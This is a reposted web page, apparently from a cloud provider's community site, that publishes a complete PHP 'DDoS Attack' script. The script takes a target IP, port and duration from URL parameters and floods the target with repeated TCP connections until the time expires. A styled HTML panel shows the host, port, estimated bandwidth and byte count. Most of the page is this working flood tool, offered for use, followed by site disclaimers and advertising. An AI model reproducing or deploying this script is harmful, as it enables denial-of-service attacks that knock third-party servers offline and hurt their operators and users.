ddos PHP版

來源:互聯網
上載者:User

<?php
header("charset='utf-8'");
error_reporting(0);
set_time_limit(0);
ignore_user_abort(TRUE);
$ip = $_GET['ip'];
$port = $_GET['port'];
$exec_time =time()+$_GET['time'];
$byte = 0;
$true = 1;
while($true) {
 $byte++;
 if(time() >$exec_time) {
  break;
 }
 $fp = fsockopen("tcp://$ip",$port,$errno,$errstr,0);
 if($fp) {
  fwrite($fp,$byte);
  fclose($fp);
 }
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Ddos Attack</title>
<style type="text/css">
body {margin: 0px;}
#confirm {background:rgba(125,125,125,0.4);filter:progid:DXImageTransform.Microsoft.Gradient(startColorstr=#40000000, endColorstr=#40000000);width:500px;margin:30px auto 0px auto;border:solid 1px #666;border-radius:3px;}
#confirm #inside {background:#FFFFFF;margin:5px;height:230px;border-radius:3px;}
#confirm #inside h1 {margin: 0px;font-family: Verdana, Geneva;font-size: 13px;padding:5px 10px;background-color: #f0f0f0;border:solid 1px #ddd;display: block;}
#confirm #inside #content {width: 300px;margin:25px auto 0px auto;line-height: 30px;font-size: 15px;font-family: Verdana, Geneva, sans-serif;}
</style>
</head>

<body>
<div id="confirm">
  <div id="inside">
    <h1>Ddos Attack</h1>
    <div id="content">Host: <?php echo $_GET['ip'];?><br>Port: <?php echo $_GET['port']; ?><br>Flow: <?php echo round(($byte*65*8)/(1024*1024),2).'Mbps' ?><br>Byte: <?php echo $byte;?><br>Time: <?php echo $_GET['time']; ?></div>
  </div>
</div>
</body>
</html>



聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.